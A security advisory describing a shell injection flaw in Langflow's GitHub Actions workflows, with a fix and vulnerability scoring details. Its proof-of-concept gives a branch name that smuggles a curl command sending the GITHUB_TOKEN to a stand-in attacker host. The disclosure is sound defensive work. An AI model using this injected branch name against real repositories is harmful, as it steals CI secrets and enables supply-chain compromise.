Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.
Details
Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:
run: |
validate_branch_name "${{ github.event.pull_request.head.ref }}"
Or:
run: npx playwright install ${{ inputs.browsers }} --with-deps
Since github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.
PoC
- Fork the Langflow repository
- Create a new branch with the name:
injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
- Open a Pull Request to the main branch from the new branch
- GitHub Actions will run the affected workflow (e.g.,
deploy-docs-draft.yml)
- The
run: step containing:
echo "Branch: ${{ github.head_ref }}"
Will execute:
echo "Branch: injection-test"
curl https://attacker.site/exfil?token=$GITHUB_TOKEN
- The attacker receives the CI secret via the exfil URL.
Impact
- Type: Shell Injection / Remote Code Execution in CI
- Scope: Any public Langflow fork with GitHub Actions enabled
- Impact: Full access to CI secrets (e.g.,
GITHUB_TOKEN), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data
Suggested Fix
Refactor affected workflows to use environment variables and wrap them in double quotes:
env:
BRANCH_NAME: ${{ github.head_ref }}
run: |
echo "Branch is: \"$BRANCH_NAME\""
Avoid direct ${{ ... }} interpolation inside run: for any user-controlled value.
Affected Files (Langflow 1.3.4)
.github/actions/install-playwright/action.yml.github/workflows/deploy-docs-draft.yml.github/workflows/docker-build.yml.github/workflows/release_nightly.yml.github/workflows/python_test.yml.github/workflows/typescript_test.yml
What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)
The EG score (9.1): severity, escalated by confirmed exploitation. This CVE's 9.1 is its impact severity (EG Severity), not escalated.
- EG Severity
- 9.1 CRITICALCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.a secondary CVSS source · CVSS v3.0 or v3.1
- EG Likelihood
- 3.2% within 30 daysSource: FIRST EPSS (model v2026.06.15, score date 2026-11-01). FIRST's exploitation probability, not an EchelonGraph model.
- Confirmed exploitation
- None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
- EG Priority
- SSVC Track* at medium mission impactTrack at low, Track* at medium and Attend at high mission impact.CISA BOD 26-04: 3 days if the affected system is publicly exposed; 60 days if it is not.Each input and its source, and whom BOD 26-04 binds: the SSVC and BOD 26-04 blocks below.
SSVC (CISA's decision table, applied by EchelonGraph)Track at low, Track* at medium and Attend at high mission impact.
The CVE record names the fixed release. Apply it within your standard update timelines at low or medium mission impact and sooner than that at high.
Exploitation public PoC (CISA Vulnrichment) · Automatable yes (CISA Vulnrichment) · Technical impact total (CISA Vulnrichment). All three are CISA's SSVC values (Vulnrichment). EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table
BOD 26-04 (CISA's remediation timeline, Table 1)3 days if the affected system is publicly exposed; 60 days if it is not.
The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable yes (CISA Vulnrichment) · Technical impact total (CISA Vulnrichment). Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it